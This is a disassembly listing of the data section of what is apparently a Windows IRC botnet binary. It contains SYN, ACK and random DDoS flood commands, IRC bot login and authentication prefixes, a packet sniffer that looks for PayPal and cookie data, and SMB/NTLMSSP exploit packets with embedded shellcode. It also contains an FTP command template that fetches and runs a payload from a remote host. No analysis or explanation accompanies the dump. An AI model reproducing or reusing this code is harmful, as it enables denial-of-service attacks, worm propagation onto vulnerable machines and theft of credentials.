		dd offset off_41FCD0
		dd 0
		db    0			; DATA XREF: zugr1819:0041FD48o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 41FD18h, 3 dup(0)
		dd offset off_438578
		dd offset unk_41FD28
		align 10h
		dd offset off_41FCE8
		dd offset off_41FCD0
dword_41FD58	dd 4 dup(0)			dd 2, 41FD50h
dword_41FD70	dd 3 dup(0)			dd offset off_438558
		dd offset dword_41FD58+8
		align 8
off_41FD88	dd offset off_438598	; DATA XREF: zugr1819:0041FDA0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41FD88
		dd offset off_41FCE8
		dd offset off_41FCD0
dword_41FDAC	dd 3 dup(0)			dd 3, 41FDA0h
dword_41FDC0	dd 3 dup(0)			dd offset off_438598
		dd offset dword_41FDAC+4
		dd offset off_41FCD0
dword_41FDD8	dd 4 dup(0)			dd 1, 41FDD4h
dword_41FDF0	dd 3 dup(0)			dd offset off_438540
		dd offset dword_41FDD8+8
		align 8
off_41FE08	dd offset off_4385C0	; DATA XREF: zugr1819:0041FE20o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41FE08
		dd 0
		db    0			; DATA XREF: zugr1819:0041FE48o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 41FE20h
dword_41FE38	dd 3 dup(0)			dd offset off_4385C0
		dd offset unk_41FE28
		align 10h
dword_41FE50	dd 19930520h, 2, 41FE70h, 5 dup(0)		dd 0FFFFFFFFh, 41E608h,	0
		dd offset sub_41E600
dword_41FE80	dd 19930520h, 2, 41FEA0h, 5 dup(0)		dd 0FFFFFFFFh, 41E62Ch,	0
		dd offset loc_41E634
dword_41FEB0	dd 19930520h, 2, 41FED0h, 1, 41FEE0h, 3	dup(0)
					; DATA XREF: .text:loc_41E648o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 41FEF8h, 4	dup(0)
		dd offset loc_403479
		dd 0
		dd offset off_438540
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	41E525h, 2 dup(0)
		dd offset off_438558
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41E211h, 2 dup(0)
		dd offset off_438578
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41E2E4h, 0
dword_41FF68	dd 3, 41FF48h, 41FF28h,	41FF08hdword_41FF78	dd 0							; sub_41E2AB+12o
		dd offset sub_41E26E
		dd 0
		dd offset dword_41FF68
dword_41FF88	dd 19930520h, 1, 41FFA8h, 5 dup(0)		dd 0FFFFFFFFh, 41E654h
dword_41FFB0	dd 19930520h, 1, 41FFD0h, 5 dup(0)dword_41FFD0	dd 0FFFFFFFFh, 41E668h,	2, 41FF28h, 41FF08h, 0
					; DATA XREF: zugr1819:0041FFF4o
dword_41FFE8	dd 0				dd offset sub_41E1B8
		dd 0
		dd offset dword_41FFD0+8
dword_41FFF8	dd 19930520h, 1, 420018h, 5 dup(0)		dd 0FFFFFFFFh, 41E67Ch
dword_420020	dd 19930520h, 1, 420040h, 5 dup(0)		dd 0FFFFFFFFh, 41E690h
dword_420048	dd 19930520h, 1, 420068h, 5 dup(0)		dd 0FFFFFFFFh, 41E6A4h,	0
		dd offset off_438598
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41E3CCh, 0
dword_420090	dd 3, 420070h, 41FF28h,	41FF08hdword_4200A0	dd 0							; sub_41E393+12o
		dd offset sub_41E356
		dd 0
		dd offset dword_420090
dword_4200B0	dd 19930520h, 1, 4200D0h, 5 dup(0)		dd 0FFFFFFFFh, 41E6B8h
dword_4200D8	dd 19930520h, 1, 4200F8h, 5 dup(0)		dd 0FFFFFFFFh, 41E6CCh,	3C0h dup(0)
zugr1819	ends

; Section 3. (virtual address 00021000)
; Virtual size			: 00323000 (3289088.)
; Section size in file		: 00323000 (3289088.)
; Offset to raw	data for section: 00021000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 421000h
dword_421000	dd 0				dd offset sub_403527
		dd offset sub_41E3E4
dword_42100C	dd 0		dword_421010	dd 0				dd offset sub_414992
		dd offset sub_41A5D7
		dd offset sub_41B3F2
		dd offset sub_41BD91
dword_421024	dd 0		dword_421028	dd 0				dd offset sub_41B497
dword_421030	dd 0		dword_421034	dd 0				dd offset sub_41BDA2
dword_42103C	dd 0		unk_421040	db    2			; DATA XREF: sub_401000+5Bo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	2 dup(64h)
		db  6Fh	; o
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aDoneWithFloodI	db 'Done with flood (%iKB/sec).',0
unk_421078	db    2			; DATA XREF: sub_4010B2+302o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	2 dup(64h)
		db  6Fh	; o
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aSendErrorD_	db 'Send error: <%d>.',0
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B2:loc_4011DEo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B2:loc_4011C2o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B2+F1o
		align 4
unk_4210CC	db    2			; DATA XREF: sub_401447+398o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	69h, 63h
		db  6Dh	; m
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aDoneWithSFlood	db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
		db ').',0
unk_42112C	db    2			; DATA XREF: sub_401447+30Co
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	69h, 63h
		db  6Dh	; m
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSendingPa	db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
		db '.',0
		align 4
unk_42118C	db    2			; DATA XREF: sub_401447+12Bo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	69h, 63h
		db  6Dh	; m
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aInvalidTargetI	db 'Invalid target IP.',0
		align 4
unk_4211BC	db    2			; DATA XREF: sub_401447+C3o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	69h, 63h
		db  6Dh	; m
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSetsockop	db 'Error: setsockopt() failed, returned: <%d>.',0
unk_421204	db    2			; DATA XREF: sub_401447+4Ao
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	69h, 63h
		db  6Dh	; m
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSocketFai	db 'Error: socket() failed, returned: <%d>.',0
unk_421248	db    2			; DATA XREF: sub_40182F+48o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 10h
unk_421280	db    2			; DATA XREF: sub_4018CB+27Do
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD__0	db '  Send error: <%d>.',0
		align 10h
unk_4212B0	db    2			; DATA XREF: sub_401BD7+4EBo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 63h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 10h
unk_421310	db    2			; DATA XREF: sub_401BD7+44Fo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 63h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 10h
aRandom		db 'random',0           ; DATA XREF: sub_401BD7+312o
					; sub_40CC09+27DFo ...
		align 4
off_421378	dd offset byte_6B6361	; DATA XREF: sub_401BD7+2F2o
					; sub_40CC09+27C8o
off_42137C	dd offset byte_6E7973	; DATA XREF: sub_401BD7+2D2o
					; sub_40CC09+27B0o
unk_421380	db    2			; DATA XREF: sub_401BD7+15Fo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 63h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidTarge_0	db '  Invalid target IP.',0
		align 10h
unk_4213B0	db    2			; DATA XREF: sub_401BD7+EEo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 63h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_4213F8	db    2			; DATA XREF: sub_401BD7+70o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 63h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
off_421440	dd offset off_421CB8	; DATA XREF: sub_40211B+29Er
		dd offset off_421CB4
		dd offset off_421CB0
		dd offset aHttp		; "HTTP"
a_login		db ':.login',0          ; DATA XREF: sub_40211B+1DEo
		dd 3 dup(0)
dword_421464	dd 0		aLogin		db ':,login',0
		dd 4 dup(0)
aLogin_0	db ':!login',0
		dd 4 dup(0)
a@login		db ':@login',0
		dd 4 dup(0)
aLogin_1	db ':$login',0
		dd 4 dup(0)
aLogin_2	db ':%login',0
		dd 4 dup(0)
aLogin_3	db ':^login',0
		dd 4 dup(0)
aLogin_4	db ':&login',0
		dd 4 dup(0)
aLogin_5	db ':*login',0
		dd 4 dup(0)
aLogin_6	db ':-login',0
		dd 4 dup(0)
aLogin_7	db ':+login',0
		dd 4 dup(0)
aLogin_8	db ':/login',0
		dd 4 dup(0)
aLogin_9	db ':\login',0
		dd 4 dup(0)
aLogin_10	db ':=login',0
		dd 4 dup(0)
a?login		db ':?login',0
		dd 4 dup(0)
aLogin_11	db ':',27h,'login',0
		dd 4 dup(0)
aLogin_12	db ':`login',0
		dd 4 dup(0)
aLogin_13	db ':~login',0
		dd 4 dup(0)
aLogin_14	db ': login',0
		dd 4 dup(0)
a_auth		db ':.auth',0
		align 10h
		dd 4 dup(0)
aAuth		db ':,auth',0
		align 4
		dd 4 dup(0)
aAuth_0		db ':!auth',0
		align 10h
		dd 4 dup(0)
a@auth		db ':@auth',0
		align 4
		dd 4 dup(0)
aAuth_1		db ':$auth',0
		align 10h
		dd 4 dup(0)
aAuth_2		db ':%auth',0
		align 4
		dd 4 dup(0)
aAuth_3		db ':^auth',0
		align 10h
		dd 4 dup(0)
aAuth_4		db ':&auth',0
		align 4
		dd 4 dup(0)
aAuth_5		db ':*auth',0
		align 10h
		dd 4 dup(0)
aAuth_6		db ':-auth',0
		align 4
		dd 4 dup(0)
aAuth_7		db ':+auth',0
		align 10h
		dd 4 dup(0)
aAuth_8		db ':/auth',0
		align 4
		dd 4 dup(0)
aAuth_9		db ':\auth',0
		align 10h
		dd 4 dup(0)
aAuth_10	db ':=auth',0
		align 4
		dd 4 dup(0)
a?auth		db ':?auth',0
		align 10h
		dd 4 dup(0)
aAuth_11	db ':',27h,'auth',0
		align 4
		dd 4 dup(0)
aAuth_12	db ':`auth',0
		align 10h
		dd 4 dup(0)
aAuth_13	db ':~auth',0
		align 4
		dd 4 dup(0)
aAuth_14	db ': auth',0
		align 10h
		dd 4 dup(0)
a_id		db ':.id',0
		align 4
		dd 4 dup(0)
aId		db ':,id',0
		align 10h
		dd 4 dup(0)
aId_0		db ':!id',0
		align 4
		dd 4 dup(0)
a@id		db ':@id',0
		align 10h
		dd 4 dup(0)
aId_1		db ':$id',0
		align 4
		dd 4 dup(0)
aId_2		db ':%id',0
		align 10h
		dd 4 dup(0)
aId_3		db ':^id',0
		align 4
		dd 4 dup(0)
aId_4		db ':&id',0
		align 10h
		dd 4 dup(0)
aId_5		db ':*id',0
		align 4
		dd 4 dup(0)
aId_6		db ':-id',0
		align 10h
		dd 4 dup(0)
aId_7		db ':+id',0
		align 4
		dd 4 dup(0)
aId_8		db ':/id',0
		align 10h
		dd 4 dup(0)
aId_9		db ':\id',0
		align 4
		dd 4 dup(0)
aId_10		db ':=id',0
		align 10h
		dd 4 dup(0)
a?id		db ':?id',0
		align 4
		dd 4 dup(0)
aId_11		db ':',27h,'id',0
		align 10h
		dd 4 dup(0)
aId_12		db ':`id',0
		align 4
		dd 4 dup(0)
aId_13		db ':~id',0
		align 10h
		dd 4 dup(0)
aId_14		db ': id',0
		align 4
		dd 4 dup(0)
a_hashin	db ':.hashin',0
		align 10h
aHashin		db ':!hashin',0
		align 4
		dd 3 dup(0)
aHashin_0	db ':$hashin',0
		align 10h
aHashin_1	db ':%hashin',0
		align 4
		dd 3 dup(0)
a_secure	db ':.secure',0
		align 10h
aSecure_0	db ':!secure',0
		align 4
		dd 3 dup(0)
		dd offset word_6C2E3A
		dd 5 dup(0)
		dd offset word_6C213A
		dd 5 dup(0)
		dd offset word_6C243A
		dd 5 dup(0)
		dd offset word_6C253A
		dd 5 dup(0)
		dd offset word_782E3A
		dd 5 dup(0)
		dd offset word_78213A
		dd 5 dup(0)
		dd offset word_78243A
		dd 5 dup(0)
		dd offset word_78253A
		dd 5 dup(0)
a_syn		db ':.syn',0
		align 10h
		dd 4 dup(0)
aSyn		db ':!syn',0
		align 4
		dd 4 dup(0)
aSyn_0		db ':$syn',0
		align 10h
		dd 4 dup(0)
aSyn_1		db ':%syn',0
		align 4
		dd 4 dup(0)
aCdkey		db ' CDKey ',0
		dd 4 dup(0)
aJoin		db 'JOIN #',0
		align 4
		dd 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: .data:0042144Co
		align 10h
off_421CB0	dd offset word_505446	; DATA XREF: .data:00421448o
off_421CB4	dd offset aIninitx_exe	; DATA XREF: .data:00421444o
					; "ININITX.EXE"
off_421CB8	dd offset word_544F42	; DATA XREF: .data:off_421440o
unk_421CBC	db    2			; DATA XREF: sub_40211B+2FCo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Eh
		db  69h	; i
		db 2 dup(66h), 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aErrorRecvFaile	db ' Error: recv() failed, returned: <%d>',0
		align 10h
unk_421D00	db    2			; DATA XREF: sub_40211B+2ABo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Eh
		db  69h	; i
		db 2 dup(66h), 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aSuspiciousSPac	db ' Suspicious %s packet from: %s:%d - %s.',0
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_40211B+235o
		align 10h
unk_421D50	db    2			; DATA XREF: sub_40211B+186o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Eh
		db  69h	; i
		db 2 dup(66h), 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aErrorWsaioctlF	db ' Error: WSAIoctl() failed, returned: <%d>.',0
		align 4
unk_421D98	db    2			; DATA XREF: sub_40211B+103o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Eh
		db  69h	; i
		db 2 dup(66h), 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aErrorBindFaile	db ' Error: bind() failed, returned: <%d>.',0
		align 4
unk_421DDC	db    2			; DATA XREF: sub_40211B+85o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Eh
		db  69h	; i
		db 2 dup(66h), 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aErrorSocketF_1	db ' Error: socket() failed, returned: <%d>.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_402749+B2o
		align 10h
dword_421E30	dd 10FF8h, 0	dword_421E38	dd 10FF8h	dword_421E3C	dd 7FFDF020h, 0	dword_421E44	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
aLanman1_0	db 'LANMAN1.0',0
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
aLm1_2x002	db 'LM1.2X002',0
		dw 4C02h
aAnman2_1	db 'ANMAN2.1',0
		db 2, 4Eh, 54h
aLm0_12		db ' LM 0.12',0
		align 4
dword_421ECC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_421EFC	dd 0				dd 800000D4h, 0
unk_421F08	db  81h	; 		; DATA XREF: sub_402C4D+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_421F54	db 41h			; DATA XREF: sub_402CEB+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4
aSvwfbA		db 'SVWf',0          ; DATA XREF: sub_402F48+80o
aIcsa		db '',0
		db 2 dup(0), 0FFh
		dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h
		dd 6B680476h, 0E8CA2BD0h, 0E2h,	0E80C4689h, 3Fh, 680476FFh
		dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h
		dd 0B9C78910h, 410h, 315EA4F3h,	505050C0h, 0FF505053h
		dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh,	23E8h
		dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h
		dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h,	0FF64D231h
		dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh
		dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h,	8B7FFDF0h
		dd 8468B1Fh, 7F8B0789h,	78C781F8h, 89000001h, 741939F9h
		dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh,	891189F6h
		dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh
		dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h
		dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h
		dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h
		dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh
		dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0
dword_422100	dd 0F254C481h, 0E8FCFFFFh, 46h,	8B3C458Bh, 178057Ch, 184F8BEFh
					; DATA XREF: sub_402F48+30o
		dd 1205F8Bh, 492EE3EBh,	18B348Bh, 99C031EEh, 74C084ACh
		dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
		dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
		dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
		dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
		dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
dword_422190	dd 23h							; sub_40CC09+819o ...
dword_422194	dd 60h		dword_422198	dd 62B0606h, 2050501h, 0A0hdword_4221A4	dd 30h							; .data:0042A758o ...
dword_4221A8	dd 0A1h		dword_4221AC	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_402749+153o
		align 4
dword_4221B8	dd 909006EBh, 90909090h, 0aSS_		db '%s// %s.',0         ; DATA XREF: sub_402F48+1CEo
		align 10h
aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: sub_402F48+55o
					; sub_4039C9+A0o
		db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
dword_422240	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: .text:00403636o
		dd 0DC00000h, 0F2140000h, 2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh
dword_422298	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: .text:00403653o
		dd 0DC00000h, 0F2140000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1wi	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_0	db 'Windows 2000 5.0',0
dword_422348	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: .text:00403670o
		dd 0DC00000h, 0F2140800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 36h
		db 0B1h	; 
		db 1Dh,	36h, 0A3h
		db 0F4h	; 
		db 0A7h, 0FDh, 0EFh
aVjsVSDrw	db '+JS٢]˶drW',0
		dd offset byte_52004F
		dd offset byte_53004B
		dd offset loc_410054
		dd offset dword_490054
		dd offset byte_4E004F
		db 31h,	0, 57h
aIndows20002195	db 'indows 2000 2195',0
aWindows20005_1	db 'Windows 2000 5.0',0
		align 10h
dword_422440	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: .text:0040368Ao
		dd 0DC00000h, 0F2140800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_422480	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: .text:004036A4o
		dd 0DC00800h, 0F2140800h, 0FF18h, 80000h, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h
dword_4224E0	dd 0A050000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: .text:004036C1o
		dd 0DC00800h, 0F2140800h, 0C0000010h, 0E0040004h, 0FFh
		dd 2 dup(0)
		dd 0C0004A00h, 2004A04h, 2600h,	5C04C740h, 45504950h, 5005Ch
		dd 10030Bh, 4C00000h, 0
		dd 16D00000h, 16D0h, 1B0000h, 0
		dd 4C900001h, 81BE7530h, 1F97F220h, 0FB459534h,	50325h
		dd 5D040001h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 10000h, 39850001h, 0EFAFCA15h, 7932C302h, 7BCF5BE5h
		dd 5DC24h, 5D040003h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 20000h, 63490001h, 0D8E85EA8h, 9285C965h, 0CAE7BB8Fh
		dd 44707h, 5D040003h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 30000h, 0A7F70001h, 0A87F8EDh, 0E0DB354Ah, 2861EE0h
		dd 6BFF6h, 5D040002h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 40000h, 3C4C0001h, 6E13D516h, 1FDD409Ch, 0BB30813Ch
		dd 64BC5h, 5D040003h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 50000h, 7C720001h, 0D815DC91h, 8946A097h, 5B9FBB92h
		dd 55897h, 5D040002h, 1CEB8A88h, 0E89F11C9h, 102B0008h
		dd 26048h, 60000h, 0F4DC0001h, 0B4D3C01Ah, 0A1042C01h
		dd 7E0600CEh, 5E2A8h, 5D040001h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 70000h, 4F080001h, 24C723D3h, 0DB7953E8h
		dd 3D2CED44h, 10F53h, 5D040003h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 80000h, 22600001h, 2DB4CF8Bh, 798F91A7h
		dd 9D215062h, 1CE53h, 5D040000h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 90000h, 6AC40001h, 849D78F3h, 6438019Dh
		dd 0E534CAC7h, 3FB45h, 5D040000h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 0A0000h, 0AB9D0001h, 0A30CD6EFh
		dd 0D8DA93FDh, 0D8EC0C39h, 680FBh, 5D040002h, 1CEB8A88h
		dd 0E89F11C9h, 102B0008h, 26048h, 0B0000h, 7B60001h, 0B763259h
		dd 83CE5AFh, 35B8CCB1h,	54588h,	5D040003h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 0C0000h, 22A60001h, 0F50E68ECh, 5EDAD388h
		dd 0A44DCCA6h, 1C6B6h, 5D040000h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 0D0000h, 50C10001h, 8786F974h, 0FF9EE96h
		dd 0B5B93FDEh, 394D0h, 5D040002h, 1CEB8A88h, 0E89F11C9h
		dd 102B0008h, 26048h, 0E0000h, 31000001h, 0D433AE6Ah, 98C54BE8h
